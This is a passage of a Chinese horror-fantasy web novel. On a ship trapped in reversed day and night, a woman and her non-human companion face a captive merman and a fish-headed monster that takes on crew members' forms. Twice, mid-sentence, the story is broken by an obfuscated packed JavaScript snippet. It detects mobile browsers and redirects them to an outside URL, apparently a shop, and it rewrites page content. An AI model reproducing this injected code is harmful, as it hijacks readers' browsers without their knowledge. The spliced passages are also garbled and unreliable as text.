忽然,那双手在她手腕的血管上轻轻一按,徐宝珠后背顿时候起了一阵冷疙瘩,她脑子飞快地运转思考,它到底想要干什么? 她还来不及思考,身后忽然出现一人,强硬地把她的手从圆孔里扯了回来,然后一气呵成地合上盖。 她和鲛人都没料到周槐引会突然出现,徐宝珠只感觉手臂一痛,她轻呼出声,翻开手臂,内侧上果然出现了几道淡淡的血珠。 “它伤害你了?”周槐引显然也看见了她的伤口,他脸色严峻地提着她的手臂看了眼。 “也许是被玻璃壁划的。”徐宝珠抽回手,脑中惊讶她居然下意识地为鲛人辩解。 周槐引没有说话,直到走出关着鲛人的船舱后,视野才逐渐明亮。 也是这时,徐宝珠才看清周槐引铁青的脸,她吓了一惊,小心翼翼地指着他的脸,“你,你还好吗?” “为什么来这里?”周槐引不答反问。 徐宝珠也知道自己做错了,她心虚地乖乖回答,“乔琳偷了我的玉佩,要挟我帮她来喂鲛人。” “这点事也能威胁到你,晚上偷回来不就好了。”他一本正经地教她偷东西,脸色正常的好像在说今晚吃什么。 “我提醒过你,不要靠近鲛人,它浑身弥漫着一股阴气,很不对劲,刚才我要是晚来一步,它很有可能刺破你的血管。”周槐引木着脸警告她。 “哪有这么夸张……” 她小声嘀咕,觉得周槐引有些小题大做,再说了,周槐引自己不也是浑身弥漫着阴气,怎么就不能由此及彼地考虑到鲛人的感受呢? 她的不服气摆在脸上,周槐引一看就知道她已经被鲛人迷惑了,他轻叹口气,手指点在她额心,“你啊你。” 晚上八点,漆黑的夜空骤然变亮,白昼陡然洒进整条船里。 所有船员都围在甲板上,惊奇地看着这一番难遇的奇景,昼夜颠倒,实在是百年难遇。 徐宝珠望着天边逐渐升起的太阳,喟叹道:“这算什么……” 马修见天已经亮了,即便这天亮得不寻常,但他还是让人收起锚,准备继续航行。 10. 夜晚的船 船只在大海里无声地航行一夜,等到早上八点时,明亮的天空骤然陷入黑夜。 熬了一夜的船员们此时都筋疲力尽地各自回船舱休息了,突然颠倒的昼夜,导致大伙的时差都调整不过来,白天睡不着,晚上醒不来。 徐宝珠回到船舱里,其余四人都已经躺在床上准备睡觉了,她目光在舱内巡视了一圈,也掀开被褥躺了进去。 在木箱床里睡久了,她现在也能做到心无旁骛地躺进棺材床里了。 徐宝珠平躺在床上阖眼歇息,手指在黑夜中无声地点着手背,没过多久,敲点的频率逐渐慢了下来,再过一会,就彻底没再动。 “滋……滋……” 后半夜,夜色正浓,船舱里又响起来挠墙的杂声,刺挠的噪音不断在耳边响起,像是长指甲不停划过黑板的声音。 一下,两下…… 一直到后来,这声音像是不耐烦了,突然变得暴躁起来,将墙壁划得震天响,饶是徐宝珠睡得再熟,也不由得也被噪音吵醒。 她睡眼惺忪地微微睁开眼,海面高悬着的月亮将月光从窗户的缝隙里投射进来,窗户的影子被映在舱内的地板上。 昏暗的船舱里,她旁边蹲着一个庞大的身影,那道身影背对着徐宝珠,闷着头抱着什么东西在啃。 哼哧哼哧的啃咬声在深夜里显得格外醒目,徐宝珠悄悄起身,她伸手搭在那道身影的肩膀上,轻轻推了推,“乔琳?” 那道身影立马顿住了,乔琳披散着头发,她佝着头,从地下伸出一只眼瞧她。 “你在吃什么?”她撇过头,想看乔琳手上拿着的东西,然而她刚靠过去,就闻见了一股冲鼻刺耳的血腥味。 铺天盖地的铁锈味让徐宝珠陡然清醒,她厉声又问,“乔琳,你在吃什么?!” 然而乔琳像是收到惊吓似的,被她一吼,浑身急剧地颤抖起来,她抱着手臂,颤颤巍巍地从床上站起来,脚步飞快地掀开舱门跑了。 哒哒的脚步声在走廊上格外明显,徐宝珠在原地犹豫几秒,还是咬着牙追了上去。 外面的甲板上并不是漆黑一片,走廊里的墙上会挂着煤油灯,最上层的甲板也有守夜的船员。 所以徐宝珠一追出来就看见了乔琳下去底层甲板的身影。 她迟疑片刻,决定先跟上去看看。 下甲板时,她顺手抄起一旁的长刀,要是真遇见什么事,到时也好防身。 下层甲板空无一人,徐宝珠提着刀找了一圈,最后只剩下灶台还没去。 想到乔琳本来就是厨娘,受惊后跑到熟悉的地方躲着也很正常,徐宝珠于是转弯径直地走向灶台。 灶台每天都要运转,所以底下常年堆积着木灰,厨娘们每天早晨的第一件事就是掏碳灰。 她刚走近灶台,脚步就放轻下来,只见黑漆漆的灶台炉里,蹲着一个熟悉的身影。 乔琳背对着她,衣服蹭上了灶台炉里的黑灰她也没在意,整个人脏兮兮地蹲在炉子里。 徐宝珠不敢贸然靠近,她站在离她几步远的地方停下,抬手将刀搁在她肩上,语气命令道:“转过来。” 乔琳的动作停了下来,当她没听徐宝珠的命令转过身,而是背着她,脑袋埋在膝盖上嘻嘻地笑了起来。 “嘿嘿嘿……”乔琳不断怪异地笑。 尖锐刺耳的笑声听得徐宝珠眉头紧锁,她正想出声让她停下,结果下一秒,乔琳突然转过头,一张鲮鱼的鱼头在月光下陡然暴露在徐宝珠眼前。 徐宝珠脸色苍白,立马认出这就是那天推她进潭里的怪物,一下子怒气冲天,她抬起刀打算刺进鱼头里,然而鱼头人身的怪物反应极其迅速。 它一边讥笑,一边躲避着砍来的刀。 徐宝珠被火气冲上脑,脑子里全都是报仇,她提着刀一路追着怪物砍,因为没有章法,好几次刀都砍到了甲板的柱子上,露下深深的痕迹。 徐宝珠压着火把刀取出来,她死死地盯着怪物,停了两秒又追上去。 怪物在底层甲板被她追得逃无可逃,最后居然慌不择路地溜进了最里面的船舱。 徐宝珠大步跑过去,站在船舱门口却停了下来,她犹豫地站在门口,里面就是关着的鲛人。 周槐引说她已经中了鲛人的幻觉,不能再跟它接触,所以徐宝珠为难地盯着舱门,她不能不听周槐引的话,可是好不容易逮到这只害人的怪物,她实在不想放过。 纠结再三,徐宝珠丧气地捶了下舱门,她在门口徘徊几次后,忽然有了主意。 徐宝珠突然在门口坐了下来,她面对着舱门,笔直地盘腿坐着。 她目光如炬地盯着门,刀放在地上,一伸手就能够到,她打算在这守株待兔,等天一亮,人来了她就闯进去抓怪物。 现在已经是下午三点,还有五个小时天就亮了。 即使已经睡过一觉的徐宝珠,在坚持了两个小时之后,还是没忍住打了个哈欠。 过了一会,甲板气温陡然变得温暖起来,徐宝珠不知不觉地就想合上眼皮,意识到困意后,她瞬间抬起脑袋,拍了拍自己的脸试图清醒。 徐宝珠觉得干坐着就会打瞌睡,她干脆又起来,在门口小幅度地走了走醒神。 就这样两种方法交替着,不一会,她就听见楼上甲板人来人往的脚步声,脚步声在船内四处分散,也有朝着她这边走来的。 她紧紧盯着来人,想着不管对方是谁她都要拉着他一起进去。 随着几句说话声逐渐靠近,乔琳拉着贝妮塔从远处走了出来,两人脸上笑着,待看见徐宝珠提着刀等在船舱门口都吓了一惊。 乔琳脸色瞬间变了,她被徐宝珠从黑暗里露出来的一张阴沉的眼睛吓得心跳骤停两秒,反应过来后立马指着她大骂,“你站在这儿想吓死人?!” 徐宝珠歪着头,眼神静静地落在她脸上打量。 她虽然没说话,但乔琳就是觉得她的眼神瘆人,她下意识地往贝妮塔后面躲,“你为什么要这么看着我?” “你的脸。” 徐宝珠嗓子干哑地出声,她朝着乔琳走过去,对方连忙吓得往后退。 她站在离乔琳不远的地方,仔细扫视她的脸,发现确实没有任何异样,难道是她看花眼了? 徐宝珠垂着眼寻思,离开前她回头看了一眼禁闭的船舱,最后确认道:“你昨晚一直在睡觉?” “不然呢!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526662|203539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乔琳叉着腰凶巴巴地说,她朝着徐宝珠翻白眼,又拉着贝妮塔声音不大不小地嘀咕,“也不知道是谁,大半夜地跑出去,整晚都没回来,说不定跟那个水手约会去了!” 她还在背后说些什么,不过徐宝珠也没有心思听了,她脚步匆匆地上去二层甲板,径直走到助理船舱敲门。 “进来。”里头传来温声回应。 徐宝珠神色一松,她就知道周槐引没有睡觉的习惯,她赶忙推门进去,又急忙关上。 她脸上止不住的焦急,扭头却发现周槐引正坐在窗边的椅子上,捧着一杯热茶在看书。 徐宝珠顿时觉得人生不公,她追了一整晚的怪物,结果他这边却岁月静好。 她随手把刀扔在地上,走到窗边敲了敲他的桌子试图引起注意。 她对上周槐引递过来的不解目光,硬着头皮耍赖,“你昨晚有没有听见指甲挠墙的声音?” “没有。”周槐引合上书,放到桌面淡淡地回答。 他视线落在头发凌乱,眼底乌黑的徐宝珠身上,眉心轻拧,“出什么事了?” 徐宝珠长吸一口气,将昨晚发生的事简单描述给他听,当她讲到今早看见乔琳活生生站在甲板时,周槐引神色微变,他手指轻点着桌面,谨慎地问了一遍。 “你确定你昨晚看见的人是乔琳?” 徐宝珠原本无比确定,经他这么一提醒,她反倒犹豫起来了,她沉思了许久,只记得昨晚那只怪物的确是穿的乔琳的衣服,头发眼色,身形也都和乔琳一模一样。 难道说这怪物能模仿变成人的模样? 她拖着下巴沉思,忽然想到一个可能,“你说这有没有可能和那只鲛人有关?” 上次在鲛人潭,就是这只怪物把她推下水,说不定它们早就认识,专门来解救鲛人的。 越想,徐宝珠就越觉得这个可能性很大,昨天晚上怪物不就是躲进了关着鲛人的船舱?要是它们不认识,鲛人能允许它待着? 周槐引听完她的推测,觉得虽然有些离谱,但离谱中又带着那么一丝合理。 怪物同样生活在鲛人岛,和鲛人认识也是理所当然。 “不过马修他们一心想把鲛人带回去拍卖,恐怕不会轻易放走它。” 徐宝珠点头,“看样子这只怪物是不达目的不会罢休,今晚说不定还会再来!” “那你要躲躲吗?” 徐宝珠眼神若有若无地往船舱里空置的床瞟了一眼,她脸上堆着笑,负手悄步挪动床边,她伸手在木板上瞧了瞧,“要不,今晚让我来这躲躲?” 周槐引目光平静地移到床上折叠整齐的被褥,“我没关系,可你……会不会在意名声有损?” 见他变相答应了,徐宝珠松了口气,她毫不在意地摆手,“命都快没了,还在乎什么名声。” 再说了,她今早什么都没做,不也被乔琳造谣了吗? 等天彻底亮起来后,徐宝珠坐在床边,望着窗外苍茫的大海,感叹,“不知道还有几天才能回去?” 周槐引目光落在外面一瞬,他眼神平淡,道出来一个令人后背发凉的事实。 “你没发现,我们一直在原地打转吗?” 11. 午夜甲板惊魂 白天的波莫尼大海平静无波,海水仍然深不见底,墨黑的海水包裹在船只四周,随时都在等着吞没这条汪洋里随波逐流的小船。 然而船头站着的几个男人脸上都是如出一辙的死白,尤其是拿着罗盘的航海长。 不管他测了几遍,换了几个位置,罗盘上的经纬度都是同样的。 马修大手撑着栏杆,脸色沉重,他眼神深沉地盯着罗盘,他哀痛地握拳重重捶打着栏杆,“还是没变吗?” 航海长站在一旁,踌躇着点头。 “该死!” 马修气得连捶好几下柱子,再次抬头时,他脸色已经恢复了往日的坚决,“继续前行!” 望着几人的背影,周槐引转身下去底层甲板,他穿过存放食物的船舱和灶台,径直前走向最里面的船舱。 船舱门口半掩着,他愣了几秒,门被人从里面打开了。 乔琳脸上忿忿,提着木桶出现在门后,她低着头,嘴里轻声嘀咕。 “这么多还嫌不够,我们都没多少吃的!” 她没注意到周槐引,还是他轻咳了一声,乔琳才注意到门外站着人。 她脸色立马收住,奇怪地瞧着他,“周助理,你来这里有事?” “船长让我过来。”他搬出马修来抵消她的怀疑。 “进去吧。”有了这句话,乔琳也不好再多问,她侧过身子,让周槐引进去船舱。 舱内视野昏暗,连窗户也没有,他取下乔琳点燃的煤油灯,提着靠近屋子里醒目的玻璃箱。 玻璃箱里装着的海水已经变得浑浊,他曲着手指在玻璃上敲了敲,里面顿时水声翻涌,几缕发丝在玻璃后掠过。 它没理周槐引。 不过他也不是来找鲛人的,他提着灯,绕过玻璃箱,走到后面探察。 箱后离船板还有一段足以容纳一个成年人通过的距离,堆积着许多船上不用的杂物,他走过去,掰开地上失磁的罗盘,废弃的铁锅,毛巾…… 直到杂物底下露出一丝白光,周槐引凝眸,他蹲下来,提着灯照亮这片,然后仔细观察。 在几个空罐头堆成的小山后面,似乎有道缝隙? 周槐引还想再离近一点瞧,然而他手才刚碰到罐头的表面,旁边玻璃箱里突然传来一道极重的拍玻璃声。 他动作停了一秒,举起灯往箱子的方向照,只见一道浅浅的掌心映在玻璃上,随后,一张凹凸不平的,五官像是被脸皮裹在里面的脸庞从黑暗里缓缓游过来。 它贴着玻璃,静静地盯着外面的周槐引。 周槐引毫无退缩之意,他眼神从鲛人脸上掠过,转头继续挪开罐子。 鲛人似乎急了,他每动一下,鲛人就狠狠地砸玻璃想阻止他的动作。 它每砸一下,周槐引拿罐子的动作就越快,两人像是在较着劲,终于,他挪开了全部的杂物,外面的光线也都从船板上的缝隙透了进来。 周槐引看着船板上凿出来的一个小腿高的缝隙,冲着鲛人挑眉,“看来,你的朋友今晚来不了了。” 说完,他也不去看鲛人的反应,直接起身离开了船舱。 周槐引出去之后就找了船上负责船体维修的船员,直言马修知道关押鲛人的船舱有个洞很不高兴,船员立马就抱着工具跑下去,还说他一个小时就能补好。 到了晚上吃饭的时间,徐宝珠照例下去甲板领饭。 然而她一只脚刚踏上地板,就听见灶台那边传来了喧闹的声音,几个人围着灶台不满地大喊大叫。 她没出声,走到这群人后面才听见了他们在闹什么。 “昨天还有一条鱼,今天怎么就剩半条了?!” 一个水手把铁盘摔倒灶台上,盘子里的汤水洒了贝妮塔满脸,她还来不及抹掉,就听见那人骂她,“是不是你们厨娘偷吃了!你看看这能吃吗?!” 徐宝珠挑眼望了一眼,最开始说话的男人盘里还有半条鱼,这人就只剩下几根鱼刺了。 见状,她有些担心自己的饭,会不会也是这样。 “这只是开始。” 她目光担忧地盯着前面,德林严肃的声音忽然响起。 “船上没食物了吗?”徐宝珠扭头,目光从柱子上的凹痕一闪而过,落在她身后排着队的德林身上。 德林把铁盘反扣,夹在腋窝,没打算再吃。 他轻飘飘瞧了她一眼,“从昨晚开始就没了,现在的食物还剩不到半桶。” “不是有一整面墙的木桶?”她记得刚来那天,明明瞧见了半边甲板的木桶。 那时,好像还有一个女人让她赶快离开,那人的身影模糊,徐宝珠一时想不起来她的样子,可她把船舱里的几人相貌都伦过一遍后,也没能对上她的样子。 “那些木桶都是拿来装样子的。” 德林从包里摸出半根烟,他眼神唏嘘地解释,“当初马修招船员时,没想到会有这么多人应召,所以根本没筹集到足够的食物,原本的木桶里,只有三分之一装了食物。” “三分之一。”这个比例,船上还有将近四十个人,怎么可能够分。 “原先还能靠着海里捕捞的海鲜充一充,可是现在你看,船一直在原地打转,附近的海鲜都被捞完了。”德林见她回过神来,又道出一个惊天的秘密。 海上,饥荒,这两个词连在一起可不是什么好事。 徐宝珠暗自存了几分心思,她开始好奇德林怎么知道这么多消息的。 德林点燃烟,衔在嘴里叼着,“帮他置办食物的老板娘是我姐,所以我才知道他买食物的数量。” 徐宝珠讶然,“你知道这艘船食物不够还敢来?” 德林扫她一眼,忽而急了,“我愿意来!” 说完,不等她回应,转过身脚步飞快地走了。 徐宝珠不明所以地盯着德林的背影,这人好奇怪…… 晚上,徐宝珠肚子饿得睡不着,她抱着咕噜噜叫的肚子,望着天花板发愣。 “哎。” 她脑袋往旁边偏,眼神看向静坐在窗边的周槐引,“你不饿吗?” 周槐引缓缓睁眼,他气定神闲地回望,“你又忘了,我不是人。” “哦……” 徐宝珠悻悻地转过头,真好啊。 “吱嘎……吱……” 船舱外,几道刺耳的声音忽然响起。 “来了!“徐宝珠身姿矫健地坐起来,她眼不转弯地盯着舱门,跃跃欲试地准备拿刀。 “等等。”周槐引突然起身,他抢在徐宝珠前走到门后,倾身靠近门听着外面的动静。 徐宝珠悄步走到他旁边,也学着他把耳朵贴到门上。 甲板上的动静很杂,脚步声,挠墙声,剁骨头的声音夹杂在一起,听得人心惶惶。 “我……” 她刚说出声,就被周槐引低垂的冷凝眼神吓得咽了回去,连忙捂着嘴点头。 外面闹了一阵,再度恢复平静,周槐引看着门板底缝隙里透进来的亮光,他转过头悄声对徐宝珠做了个回去睡觉的口型。 徐宝珠不明白他不出去的原因,但还是乖乖地点头,回到床上躺着。 周槐引在门口站了一会,也回到了窗边合眼歇息。 徐宝珠眼神不断朝他瞥,想张口问外面到底是什么,但又怕外面的“人”听见,于是只能憋着。 她热切的目光不时掠向自己,周槐引唇角微掀,他抱着胳膊,指尖轻拍着手臂,想到正在外面到处找人的疯子,眉眼又垂了下来。 —— 水声,耳边全是翻涌的水声。 徐宝珠在梦里也溺水,她捏着鼻子,拼命地蹬腿想游上去,然而两只脚却被海底的水草紧紧缠住,她惊慌失措地低下头,那团海藻像是生出了意识一样,她越挣扎缠得越紧。 “救……咕噜咕噜咕噜……” 她刚想张嘴呼救,就吐了一连串的气泡,又咸又腥的海水顿时涌进嘴里,呛得她气管生痒。 徐宝珠害怕再度沉到海底,于是拼命攀着海底的一株红珊瑚,然而珊瑚体滑溜溜的,她握住的瞬间就从掌心滑了出去,整个人立即往后沉入海底。 “不……不要!” 徐宝珠害怕得叫出声,她瞬间惊醒,随即眼里漫上无边的海水,她惊诧地伸手,却碰到了近在咫尺的玻璃,徐宝珠震惊地睁大了眼珠。 她居然掉进了装着鲛人的玻璃箱里! 她晃动的时候,箱子里面的海水也在剧烈晃荡,徐宝珠站在玻璃箱里,箱子里的海水漫到她脖子的高度。 她的个头刚刚可以碰到玻璃顶,徐宝珠抬起手臂狠狠地捶打着头顶的玻璃,然而这块玻璃却像陈年坚冰一样结实,她手都捶红了,玻璃也没裂开的痕迹。 徐宝珠怕得要命,玻璃好好的,她是怎么进来的! 玻璃箱里的海水潮湿阴凉,她浑身湿透地站在里面,整个人冷得发抖。 徐宝珠不由得抱着自己,靠着玻璃边缘,她伸手擦干净起雾的玻璃,把眼睛贴上去查看外面的情况。 “有没有人……”她敲着玻璃,大声呼救。 船舱里一片黑暗,舱门口也没有丝毫光线从底下透进来,徐宝珠心底一沉,现在应该还是晚上,大家都在上面睡觉,根本没有人能救她。 忽然,身后传来一阵轻微的水声晃动。 徐宝珠心底一颤,顿时僵住,她浑身颤抖着不敢回头。 她怎么忘了,鲛人……也在箱里。 寂静的夜里,一只潮湿黏腻的手忽然越过她的肩头,稳稳地按在玻璃上。 徐宝珠闭着眼,整个人在角落里缩成一团,她双手合十放在胸前,嘴里不断小声祈祷,“放过我放过我……” 鲛人侧过头看了她一眼,放在玻璃上的手忽然重重往下一按,刚才还结实的玻璃忽然像纸片一样碎掉,汹涌的海水顿时争先前后地扑出去,倒了满地的水。 徐宝珠难以置信地睁开眼,鲛人顺着海水滑到地板,修长的鱼尾砸在地板上溅起一阵水花。 鲛人顺着水游到船舱中间,它似乎朝着徐宝珠看了一眼,就头也不回地游走了。 它居然……就这样放过她了? 徐宝珠还没从震惊里回过神,连忙迈腿跟上去,鲛人游动的速度比她想象中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526663|203539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还要快。 她只能凭借地上的水痕来判断对方的走向,水痕一路漫延整个甲板,她不错眼地追着痕迹,一直追到最上层甲板。 水痕在船头消失,徐宝珠在船头站了一会,她转头看着旁边蹲在煤油灯旁,正在打瞌睡的守夜船员,叹息着摇头,看来他是不可能看见鲛人的行踪了。 她站在船头望了眼底下的汪洋大海,暗自松了口气,这种不确定危险性的非人类生物还是越早离开越好。 她吹了一阵夜风,将头脑吹得清醒了些,徐宝珠将吹散开的长发随意地挽起,然后才打算回船舱。 二层甲板一片寂静,刚才玻璃箱碎掉的动静仿佛并没有吵醒他们。 墙壁上挂着的煤油灯已经燃烧到最后一层油,淡薄的灯光并不能照亮整个过道,大腿以下的部分仍然是黑暗模糊的。 她走过去时,脚底不断踩到甲板上黏腻的水渍。 直到穿过船员们的船舱后,单人船舱的舱门大开,里头暖黄的灯光映出,照亮了门口的地板。 徐宝珠脚步停了下来,她疑惑地看着透着亮光的大门,周槐引不在吗? 揣着满脑子的疑惑,徐宝珠不由得放轻脚步声,贴着船舱门小心翼翼地伸出脑袋往里看。 船舱里灯光大亮,一道熟悉的背影正坐在窗边。 周槐引背对着她,背影挺直地盯着桌上的东西瞧。 确认是周槐引之后,她松了口气,大咧咧地走进去。 “哎,我都被鲛人掳走了,你怎么一点都不着急!” 她径直走到桌边,端起桌上的水杯大口大口地喝,刚才在水箱里被吓得要死,现在缓过来了,口干舌燥地只想赶快喝水缓和。 周槐引听见她的话,缓缓抬起头,眼珠一动不动地盯着她扬起的纤细洁白的脖子。 徐宝珠嘀嘀咕咕半天,忽然察觉周槐引好像过于安静了…… 她目光从水杯移开,逐渐落到周槐引身上,只见一张熟悉的鲮鱼头正直愣愣地盯着自己,而它酷似人类形状的厚鱼嘴上面沾着淡淡的血迹,正咧开嘴冲着她阴险地笑。 徐宝珠傻站着桌前,端着水杯的手不由自主地抖了起来,茶水洒了满桌还恍然不觉。 想到周槐引白日里跟她说的话,徐宝珠伸手强行按住不断颤抖的右手,“周……周……周槐引?” “周槐引”眼珠瞬间褪成死白的鱼眼珠,它举起两只尖锐锋利的手,动作飞快,目的明确地径直朝她脖子上划。 徐宝珠下意识地往后躲,她腿往后迈试图撑住身体,然而脚底忽然打滑,整个人跌倒在地上。 她这才看见鞋底不知道什么时候沾了一鞋子的血,猩红的血迹在她脚底干涸,有些还没干的血,一踩上去就脚底打滑,地板上的血迹拉出去半米长的距离。 徐宝珠顾不得惊讶了,她连忙起身跑到床边去找刀,然而她在枕头底下摸了半天也没找到她藏在这里的尖刀。 就在这时,余光里,一道闪着亮光的刀锋忽然从眼角一瞥而过,她肩膀瞬间绷直,手腕一弯,转过身顺势倒在床上翻到另一侧。 下一秒,一道狠劲十足的刀锋就砍到了她刚才躲开的地方。 徐宝珠心有余悸地盯着刀痕,怪物见一计不成,鱼嘴哼哼地喘着气,握着刀直接踩着床冲她追过来。 徐宝珠顿时顾不得发愣了,她连忙转身跑出船舱寻找帮忙,怪物也紧随其后,哒哒的脚步声在过道上踩得震天响。 她狂奔在各个甲板之间,企图甩掉怪物,然而不管她躲到哪里,下一秒,怪物的脚步声总能出现在附近。 徐宝珠也曾试着找人求助,然而即使她把门敲得哐哐响,里头的人也跟睡死了一样听不见。 逃跑的途中,一个活人也没碰到,就连周槐引也不知道去哪了。 徐宝珠逃到最上层的甲板,扒开地上堆着的风帆布,找到空钻了进去。 她露出一双眼贴在缝隙紧盯着外面,突然,附近忽然响起铁器划过地面的声音,紧接着哒哒的脚步声陡然出现在甲板上。 徐宝珠紧紧攥着风帆,眼珠一动不动地盯着外面,余光中,她忽然瞥见船头还在睡觉的男人,眼里划过担忧。 她怎么忘了上面还有人,徐宝珠纠结地盯着男人,她想出去提醒,但现在已经来不及了! 眼看哒哒的脚步声在甲板上悠闲地转了一圈后,径直地朝着船头去了。 徐宝珠躲在风帆里面,也是满心的煎熬,到底要不要出去救他? 她眉心紧蹙,眼里全是纠结和不忍,想到接下来的惨状,不忍心地闭上了眼。 然而想象当中的惨叫并没有发生,甲板格外的寂静,脚步声,刀锋声都一起消失了。 徐宝珠先睁开一只眼,在外面扫视了一圈,见男人还好好地沉睡着,她松了口气。 怪物呢? 徐宝珠屏住心神,专心致志地听着外面的动静。 月光下,一道影子突然出现在她面前的甲板上,那人的身影正在往她躲藏的方向走过来,徐宝珠一顿,浑身僵在原地。 她心瞬间提到了嗓子眼,眼睛紧紧地盯着他的脚。 12. 生路 这时候,海面忽然起了一阵风,海风凛冽地吹打着船板,呼呼作响的风声吹得风帆布不断鼓起又瘪下来。 徐宝珠蹲在某个角落,她攥着怦怦跳个不停的心脏,小心翼翼地挪动步子,企图从旁边的小路跑到底下。 她紧咬着下唇,想让痛觉麻痹自己的紧张,好在,她离小路就只剩下半米的距离了。 徐宝珠浅松一口气,打算一鼓作气直接冲下去。 就这在时候,头顶用来遮挡的风帆忽然被人大力地掀开,呼啸的风声从她头顶一闪而过,紧接着一道银光猝不及防地闪过,徐宝珠的手臂立刻被划了一道深得见骨的伤口。 火辣辣的痛觉从手肘上蔓延,然而她专注着逃命,根本来不及回头,匆匆地握住手臂往下跑。 “呼……呼……” 徐宝珠小口喘气,疼痛在伤口处逐渐传到全身,她眼前一片眩晕,只能通过减慢呼吸频率缓解,她紧紧咬着泛白的唇,在转弯后迎面撞上了一个人。 “后……后面。” 徐宝珠眼前发黑,她甩了甩脑袋让自己清醒,快要晕倒前,她提醒周槐引注意后面的怪物。 说完这句话,徐宝珠就彻底被疼晕过去了,她失力地松开握住伤口的手,满胳膊的血渍里,隐隐可见白色的骨头凸出。 这时,怪物也追了过来。 周槐引扶着徐宝珠,看见怪物出现的那一刻,瞳孔急剧地收缩,惊讶地盯着它,“怎么会?!” 怪物手里的刀还染着血迹,看见他们,丝毫不避地走了过来,悠闲地盯着他俩,像看见猎物似的,缓缓地舔了下嘴唇。 周槐引虚搂着徐宝珠,站在原地没有跑,他目光严谨地盯着它,嘴里轻声念着什么。 等怪物走近后,才听清他在数着数字。 “三。” “二。” “一。” 怪物原本还不解他的意思,甲板外的窗户忽然洒进来一道白光,它脸色骤变,不甘心地盯着近在咫尺的两人,但还是趁着白光没有洒到身上前佝偻着跑了。 等它彻底消失在眼前,周槐引才缓缓呼出一口气,他看了眼紧握在手里的怀表,上面的指针刚好指到晚上八点。 徐宝珠是被手臂上一阵阵的刺痛惊醒的,她猛地在床上睁开眼,窗外天光大亮,她额头上全是浸出来的冷汗。 “嘶……”徐宝珠刚动一下,左手手肘就传来剧烈的疼痛,她不由得痛出声,下意识地伸手想碰。 “别动。”门口忽然传来男人平静的嗓音。 周槐引端着一盘子的新纱布和药,走到桌前放下,他转身看着已经自己坐起来的徐宝珠,脸色不太好,“我帮你换药。” 徐宝珠听话地把胳膊伸出来,她目光在屋里扫了一圈,又看见外面升起的日头,“天亮了?” “准确来说,是凌晨一点。”周槐引动作迅速地拆开绷带,纯白的纱布浸了血,糊在伤口处,取下来时痛得徐宝珠眼泪涟涟,连声叫他轻一点。 “抱歉。”周槐引动作停顿一瞬,语调真诚地道歉,再次上药时,动作轻缓了不少。 徐宝珠低头望着手肘上凸起的骨头,吓得心慌,连忙转过头,岔开话题,“昨晚你是怎么躲过怪物的?” 周槐引侧身从桌面取下新的纱布,他握着徐宝珠的胳膊,放上去缠了两圈。 没听见回答,徐宝珠疑惑地低头瞧他,他垂着眼时,眉骨柔和寂静。 周槐引抬头,眉目沉静地盯着她,“我发现,这只鱼头人身的怪物,只有白天能出门,一到夜晚,它就必须要躲起来。” 徐宝珠满脸不解,这是个什么原因? 她目光掠过窗户,“这不就是白天……不对!” 她说到一半,忽然反应过来,现在其实是晚上。 仔细算算,包括最开始在鲛人潭附近见到怪物的时候,还有这两次都是白天的时间。 “可你昨天不是说已经堵住它上船的口子了吗,怎么还会出现?” “你忘了,它还有同伙。”周槐引利索地用纱布打了个蝴蝶结,眼神示意她往下看。 “鲛人!”徐宝珠立马想到鲛人,它不正好擅长用幻术迷惑人心。 想到鲛人,徐宝珠立刻想起来昨晚的事,她心有余悸地盯着周槐引,问:“你昨晚为什么不在房里?” 提到这里,周槐引眼神更怪异了,他奇怪地看着徐宝珠,“你昨晚突然从床上蹦起来,话也不说打开门就往外跑,我追都追不上,还被鬼打墙困了半天。” 徐宝珠心里犯嘀咕,她昨晚多半也是中了幻术,她低头见自己身上的衣服还是昨晚那身,又问周槐引鲛人在哪。 “船舱里关的好好的。” “那就是了。”徐宝珠念念有词,她满脸劫后余生的庆幸,将昨晚自己的遭遇跟他一五一十地道出。 说到自己被关进玻璃箱离鲛人只有不到半米的距离时,徐宝珠脸上的恐惧一闪而过。 听完她的话,周槐引眉心轻拧,他思考许久,才问出来一个两人都疑惑的问题。 “鲛人既然具有操控别人行为的幻术,那么它为什么不逃走?” “当初到底是马修抓到了它,还是它自愿被抓上船的?” “它想要的到底是什么?” 换完药后,徐宝珠肚子饿得叫了起来,她从昨晚到现在都没吃过东西,早上又被怪物追了这么久,体力消耗过大,现在一闲下来,胃里没东西就很不舒服。 “饿了?” 周槐引眼神敏锐地捕捉到了她的不自然,他抱着手臂,转身要走,“我去给你弄吃的。” “船上的食物不是不够了吗?” 周槐引手搭在门上片刻,语调怪异,“现在够了。” 他留下了一句没头没脑的话就离开了,徐宝珠琢磨半天,难道他们的船没有在原地打转了? 徐宝珠疑惑不解的眼神忽然瞥见地上干涸的血迹,她立马怔住了,昨晚事态紧急,她来不及思考,现在再结合韦周槐引说的这番话,怎么想怎么不对劲。 徐宝珠转身下床,她扶着左手的绷带,脚步飞快地离开了船舱。 一出门,刺鼻的血腥味就扑面而来,她微微皱眉,用手扇了扇。 她没走几步,就察觉到了不对劲,往日这个时间,船上各个地方都充满了男人的聊天声音,然而今天她走遍了整个二层甲板,也没见着几个人,甚至还隐隐地听见了哭声。 徐宝珠站在最后一间船舱的门口,她听着里头的哭声,犹豫了几秒,还是推开门走了进去。 